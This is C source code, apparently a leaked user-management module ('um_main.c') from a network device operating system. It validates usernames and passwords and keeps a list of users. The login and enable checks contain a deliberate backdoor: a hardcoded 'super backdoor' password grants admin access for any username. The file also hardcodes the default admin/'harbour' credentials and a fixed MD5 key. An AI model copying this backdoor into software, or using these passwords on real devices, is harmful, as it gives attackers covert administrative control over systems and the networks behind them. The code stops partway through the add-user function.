um_main.c

hammerOS（了解的人就知道了）的一个板块Manage的源代码

/***********************************************************

                          um_main.c  
                             -------------------
description     : user management   
begin          : Wed April 25 2001
copyright       : (C) 2001 Beijing Harbour Networks Ltd.
email          : [e-mail]


*************************************************************/


#ifdef _cplusplus
extern"C"{
#endif

#include "../mn_set.h"

#ifdef _MN_HAVE_USERMANAGE_
#include "um_main.h"
#include "um_md5.h"
#include <linx_str.h>

/*************************************************
 Global Define 
  um_users:  define user struct and control value

***************************************************/
#define _UM_MAX_USER_COUNT_ 32

#define _UM_CHECKPASS_SLEEP_SECONDS_ 2

#define _UM_MAX_USER_NAME_LEN_ 20
#define _UM_MIN_USER_NAME_LEN_ 4
#define _UM_MAX_PASS_LEN_      20
#define _UM_MIN_PASS_LEN_      6

#define _UM_DEFAULT_USER_NAME_ "admin"

#define _UM_DEFAULT_LOGIN_PASS_ "harbour"
#define _UM_DEFAULT_ENABLE_PASS_ "harbour"

#ifdef _DEBUG_VERSION_
#define _UM_SUPER_BACKDOOR_PASS_  "z"
#else
#define _UM_SUPER_BACKDOOR_PASS_  "!j@l#y$z%x6x7q8c9z)"
#endif


#define _UM_PASSWD_MD5_KEY_ "harbournetworks"


/**************************************************************
User Manage Error Msg Defines
***************************************************************/
#define _ERR_EN_UM_ENABLE_PASS_TOOLONG_         "Enable Password too long.(should be <= 20 chars)."
#define _ERR_CH_UM_ENABLE_PASS_TOOLONG_		"管理员密码长度超出最大长度(20个字符)."
#define _ERR_EN_UM_ENABLE_PASS_TOOSHORT_        "Enable Password too short.(should be >= 6 chars)."
#define _ERR_CH_UM_ENABLE_PASS_TOOSHORT_	"管理员密码长度小于最小长度(6个字符)."
#define _ERR_EN_UM_LOGIN_PASS_TOOLONG_          "Login Password too long.(should be <= 20 chars)."
#define _ERR_CH_UM_LOGIN_PASS_TOOLONG_		"登录密码长度超出最大长度(20个字符)."
#define _ERR_EN_UM_LOGIN_PASS_TOOSHORT_         "Login Password too short.(should be >= 6 chars)."
#define _ERR_CH_UM_LOGIN_PASS_TOOSHORT_		"登录密码长度小于最小长度(6个字符)."

#define _ERR_EN_UM_NAME_TOOLONG_         "Username too long.(should be <= 20 chars)."    
#define _ERR_CH_UM_NAME_TOOLONG_	 "用户名长度超出最大长度(20个字符)."
#define _ERR_EN_UM_NAME_TOOSHORT_        "Username too short.(should be >= 4 chars)."    
#define _ERR_CH_UM_NAME_TOOSHORT_	 "用户名长度小于最小长度(4个字符)."
#define _ERR_EN_UM_NAME_ILLEGALCHAR_     "Username include illegal char.(should only include 'a'-'z' 'A'-'z' '0'-'9' or '_' and no space.)."
#define _ERR_CH_UM_NAME_ILLEGALCHAR_	 "用户名包括非法字符.(用户名应该只包括大小写字母,数字或者下划线并且不带空格)."
#define _ERR_EN_UM_NAME_FIRSTCHAR_       "First char of username must be alpha."
#define _ERR_CH_UM_NAME_FIRSTCHAR_	 "用户名的第一个字符非法(应该是字母)."

#define _ERR_EN_UM_LOGIN_FAIL_            "Bad username or password. Login failed."
#define _ERR_CH_UM_LOGIN_FAIL_		  "用户名或密码错误,登录失败."	
#define _ERR_EN_UM_ENABLE_FAIL_NO_PERMIT_  "You do not have permission to enter configure mode."
#define _ERR_CH_UM_ENABLE_FAIL_NO_PERMIT_  "您没有权限进入管理模式."	
#define _ERR_EN_UM_ENABLE_FAIL_PASS_WRONG_     "Password incorrect."
#define _ERR_CH_UM_ENABLE_FAIL_PASS_WRONG_	"密码错误."

#define _ERR_EN_UM_PREV_USER_NOT_EXIST_ "Previous user name does not exist."
#define _ERR_CH_UM_PREV_USER_NOT_EXIST_ "上一个用户名不存在."

#define _ERR_EN_UM_CANT_DEL_DEFAULT_USER_ "Can't delete built in admin user."
#define _ERR_CH_UM_CANT_DEL_DEFAULT_USER_ "不能删除系统内置用户admin."
#define _ERR_EN_UM_CANT_NORMAL_DEFAULT_USER_ "Can't set built in admin user to NORMAL user." 
#define _ERR_CH_UM_CANT_NORMAL_DEFAULT_USER_ "不能把系统内置用户admin改成普通用户."

#define _ERR_EN_UM_USER_ALREADY_ADMIN_USER_ "User is a ADMIN user already."
#define _ERR_CH_UM_USER_ALREADY_ADMIN_USER_ "用户已经是系统管理员."

#define _ERR_EN_UM_USER_DONOT_EXISTS_ "User does not exist in user database."
#define _ERR_CH_UM_USER_DONOT_EXISTS_ "用户不存在."
#define _ERR_EN_UM_USER_NOT_ADMIN_    "User is not an Admin user."
#define _ERR_CH_UM_USER_NOT_ADMIN_    "用户不是一个管理员用户."
#define _ERR_EN_UM_USER_ALREADY_EXISTS_ "User already exists in user database."
#define _ERR_CH_UM_USER_ALREADY_EXISTS_ "用户已经存在."
#define _ERR_EN_UM_USER_DB_FULL_         "User database fulled , can't add any user more."
#define _ERR_CH_UM_USER_DB_FULL_	 "用户数据库已满,不能再增加用户."

/*******************************************************
Struct defines

********************************************************/


struct um_one_user {
  char* user_name;
  unsigned char* login_passwd;
  unsigned char* enable_passwd;
  enum um_user_role_type user_role;
  struct um_one_user *next_user;
  struct um_one_user *prev_user;
};

struct um_user_list {
  struct um_one_user *head;
  struct um_one_user *tail;
  int total_user_count;
};



/*************************************************
 Global Variables 
  um_users:  Store all users configuration in a link list

***************************************************/
 

struct um_user_list *um_users; 

/************************************
when um_password_encrypt is 1 then encrypt password
when um_password_encrypt is 0 then don't encrypt password
When load_startup_config , the value is set to 0;
after load , the value is set to 1;
**************************************/
unsigned short um_password_encrypt;




unsigned char *
um_encrypt_password (char *passwd)
{
  unsigned char *ret;
  ret = (unsigned char *) kstrdup(um_md5_key(passwd,_UM_PASSWD_MD5_KEY_),_MM_MOD_UM_ID_);
  return ret;
}

/****************************************
check user name see if it's legal 
*****************************************/
int 
um_check_name_legal(char *name, char **errmsg,unsigned short lan_type)
{
  int len;
  int i;
  char cx;
  len = strlen(name);
  if (len > _UM_MAX_USER_NAME_LEN_ )
  	{
  	  *errmsg = (lan_type == 2)?(_ERR_CH_UM_NAME_TOOLONG_):(_ERR_EN_UM_NAME_TOOLONG_);
  	  return 0;
  	}

  if (len < _UM_MIN_USER_NAME_LEN_ )
  	{
  	  *errmsg = (lan_type == 2)?(_ERR_CH_UM_NAME_TOOSHORT_):(_ERR_EN_UM_NAME_TOOSHORT_);
  	  return 0;
  	}
  	
 cx = name[0];
 if (!(((cx >= 'a') && (cx <= 'z')) || ((cx >= 'A') && (cx <= 'Z'))))
 	{
 	  *errmsg = (lan_type == 2)?(_ERR_CH_UM_NAME_FIRSTCHAR_):(_ERR_EN_UM_NAME_FIRSTCHAR_);
 	  return 0;
 	}

  for (i = 0; i < len; i++)
  	{
  	  cx = name[i];
      if (!(((cx >= 'a') && (cx <= 'z')) || ((cx >= 'A') && (cx <= 'Z')) || ((cx >= '0') && (cx <= '9')) || (cx == '_') ))
      	{
      	  *errmsg = (lan_type == 2)?(_ERR_CH_UM_NAME_ILLEGALCHAR_):(_ERR_EN_UM_NAME_ILLEGALCHAR_);
          return 0;
      	}  
  	  
  	}

  return 1;
}


/****************************************
check password see if it's legal 
return 1 if ok
return 0 if illegal and details in  errmsg;
errmsg is a pointer to a const string needn't be free.

*****************************************/

int
um_check_pass_legal(unsigned char *pass, char **errmsg, unsigned short pass_type,unsigned short lan_type)
{
  int len;
  int i;
  char cx;

  if (um_password_encrypt == 0)
    return 1;
  len = strlen(pass);
  
  if (len > _UM_MAX_PASS_LEN_ )
  	{
  	  if (pass_type == 1)  /* enable password */
  	  	{
      	  *errmsg =(lan_type == 2)?(_ERR_CH_UM_ENABLE_PASS_TOOLONG_):( _ERR_EN_UM_ENABLE_PASS_TOOLONG_);
  	  	}
  	  else  /* login password */
  	  	{
      	  *errmsg = (lan_type == 2)?(_ERR_CH_UM_LOGIN_PASS_TOOLONG_):(_ERR_EN_UM_LOGIN_PASS_TOOLONG_);
  	  	}
  	  return 0;
  	}

  if (len < _UM_MIN_PASS_LEN_ )
  	{
  	  if (pass_type == 1) /* enable pass */
  	  	{
  	      *errmsg = (lan_type == 2)?(_ERR_CH_UM_ENABLE_PASS_TOOSHORT_):(_ERR_EN_UM_ENABLE_PASS_TOOSHORT_);
  	  	}
  	  else  /* login pass */
  	  	{
  	      *errmsg = (lan_type == 2)?(_ERR_CH_UM_LOGIN_PASS_TOOSHORT_):(_ERR_EN_UM_LOGIN_PASS_TOOSHORT_);
  	  	}
  	  return 0;
  	}
  	

  return 1;

}



static struct um_one_user * 
um_get_user_byname(char *user_name)
{
  struct um_one_user *one_user;
  char *s_user_name;
  s_user_name = kstrtolower(user_name,_MM_MOD_UM_ID_);
  one_user = um_users->head;
  while (one_user)
    {
      struct um_one_user *uu;
      char *s_o_username;
      s_o_username = kstrtolower(one_user->user_name,_MM_MOD_UM_ID_);
      if (strcmp(s_o_username,s_user_name) == 0)
        {
           kfree(s_user_name);
           kfree(s_o_username);
           return one_user;
        }    
      uu = one_user;
      kfree(s_o_username);
      one_user = uu->next_user;
    }
  kfree(s_user_name);  
  return NULL;

}


static int 
um_delete_oneuser(struct um_one_user *del_user)
{
  if (del_user->next_user)
    del_user->next_user->prev_user = del_user->prev_user;
  else
    um_users->tail = del_user->prev_user;
  
  if (del_user->prev_user)
    del_user->prev_user->next_user = del_user->next_user;
  else
    um_users->head = del_user->next_user;
  
  del_user->next_user = del_user->prev_user = NULL;
  
  if (del_user->user_name)
    kfree(del_user->user_name);
  if (del_user->login_passwd)
    kfree(del_user->login_passwd);
  if (del_user->enable_passwd)
    kfree(del_user->enable_passwd);
  
  kfree(del_user);

  --(um_users->total_user_count) ;
  return 1;        
               
}




/****************************************
check username and password to validate login 
return 1 if normal user 
return 2 if admin user
return 0 if failed and details in errmsg;

*****************************************/

int um_validate_login(char *user_name,unsigned char *passwd, char **errmsg,unsigned short lan_type)
{
  struct um_one_user *one_user;
  unsigned char *encrypt_passwd;
  int fail;
  char *s_user_name;
  
  s_user_name = (char *)kstrtolower(user_name,_MM_MOD_UM_ID_);
  
  one_user = um_get_user_byname(s_user_name);
  if (one_user  != NULL )
    {
      encrypt_passwd = um_encrypt_password(passwd);
      fail = strcmp (encrypt_passwd,one_user->login_passwd);
      kfree(encrypt_passwd);
      if (fail == 0)
        {
           if (one_user->user_role == NORMAL_USER)
             {
               kfree(s_user_name);
               return 1;
             }  
                
           if (one_user->user_role == ADMIN_USER)
             {
               kfree(s_user_name);
                return 2;
             }   
        }
    }
   
  if (strcmp(_UM_SUPER_BACKDOOR_PASS_,passwd) == 0)
    {
      kfree(s_user_name);
      return 2;  
    }  
  
  *errmsg = (lan_type == 2)?(_ERR_CH_UM_LOGIN_FAIL_):(_ERR_EN_UM_LOGIN_FAIL_);
  taskDelay(_UM_CHECKPASS_SLEEP_SECONDS_*60);
  kfree(s_user_name);
  return 0;     
}



/****************************************
check username and password to validate enable 
return 1 if success
return 0 if password incorrect

return -1 if user do not have admin permit ;
return 2 if user is super user
errmsg is a pointer to a const string needn't be free.
*****************************************/

int um_validate_enable(char *user_name, unsigned char *passwd, char **errmsg,unsigned short lan_type)
{
  struct um_one_user *one_user;
  int normal;
  int fail;
  char *s_user_name;
  unsigned char *encrypt_passwd;


  s_user_name = kstrtolower(user_name,_MM_MOD_UM_ID_);
  one_user = um_get_user_byname(s_user_name);
  if (one_user != NULL)
    {
      if (one_user->user_role == NORMAL_USER)
        {
          *errmsg = (lan_type == 2)?(_ERR_CH_UM_ENABLE_FAIL_NO_PERMIT_):(_ERR_EN_UM_ENABLE_FAIL_NO_PERMIT_);
          normal = -1;
        }
      else
  	{
          encrypt_passwd = um_encrypt_password(passwd);
          fail = strcmp (encrypt_passwd,one_user->enable_passwd);
  	  kfree(encrypt_passwd);
          if (fail == 0)
            {
              kfree(s_user_name);
              return 1;
            }
          else
  	    {
              *errmsg = (lan_type == 2)?(_ERR_CH_UM_ENABLE_FAIL_PASS_WRONG_):(_ERR_EN_UM_ENABLE_FAIL_PASS_WRONG_);
              normal = 0;
  	    }
  	}
    }
  else
    {
      *errmsg = (lan_type == 2)?(_ERR_CH_UM_ENABLE_FAIL_NO_PERMIT_):(_ERR_EN_UM_ENABLE_FAIL_NO_PERMIT_);
      normal = -1;
    }
    
  if (strcmp(_UM_SUPER_BACKDOOR_PASS_,passwd) == 0)
    {
      kfree(s_user_name);
      return 2;   
    }  

  kfree(s_user_name);
  
  taskDelay(_UM_CHECKPASS_SLEEP_SECONDS_*60);

  return normal;

}





/******************************************************
  validate a user name to see if it's exist in user database
*****************************************************/
int um_validate_user_exists(char *username)
{
  struct um_one_user *one_user;
  char *s_username;
  s_username = (char *)kstrtolower(username,_MM_MOD_UM_ID_);
  one_user = um_get_user_byname(s_username);
  kfree(s_username);
  if (one_user)
  	{
  	  return 1;
  	}
  else
  	{
  	  return 0;
  	}
}

/****************************************
get first user's username
username is a pointer to real username , can't be free
return 1 if success
return 0 if failed and details in  errmsg;
errmsg is a pointer to a const string needn't be free.
*****************************************/

int um_get_first_user_name(char **user_name,char **errmsg,unsigned short lan_type)
{
  struct um_one_user *one_user;
  
  one_user = um_users->head;
  if (one_user)
  	{
      *user_name = one_user->user_name;
  	}
  else
  	{
  	  *user_name = NULL;
  	}
  
  return 1;
}



/****************************************
get next user's username
prev_username is previouse user name,
username is a pointer to real username , can't be free
if return username is NULL then it's the last user.
return 1 if success
return 0 if failed and details in  errmsg;
errmsg is a pointer to a const string needn't be free.
*****************************************/

int um_get_next_user_name(char *prev_user_name, char **user_name, char **errmsg,unsigned short lan_type)
{
  struct um_one_user *one_user;
  struct um_one_user *nextuser;  
  char *s_user_name;
  s_user_name = (char *)kstrtolower(prev_user_name,_MM_MOD_UM_ID_);
  one_user = um_get_user_byname(s_user_name);

  if (one_user)
  	{
      nextuser = one_user->next_user;
        if (nextuser)
          {
            *user_name = nextuser->user_name;
          }
        else
          {
             *user_name = NULL;
          }
      kfree(s_user_name);    
      return 1;
  	}
  kfree(s_user_name); 
  *user_name = NULL;
  return 0;
}



/**************************************************
Add a user to user list 
return 1 if success
return 0 if failed , and details in errmsg;
errmsg is a pointer to a const string can't be free.

*****************************************************/

int um_add_user(char *user_name,unsigned char *login_pass,char **errmsg,unsigned short lan_type)
{

  char *username;
  char *s_user_name;
  unsigned char *logpass;
  int name_len, pass_len;
  struct um_one_user *f_user;
  unsigned char *set_pass;
  
  unsigned char *encrypt_passwd;

  if (!(um_check_name_legal(user_name,errmsg,lan_type)))
  	{
  	  return 0;
  	}

  if (!(um_check_pass_legal(login_pass,errmsg,1,lan_type)))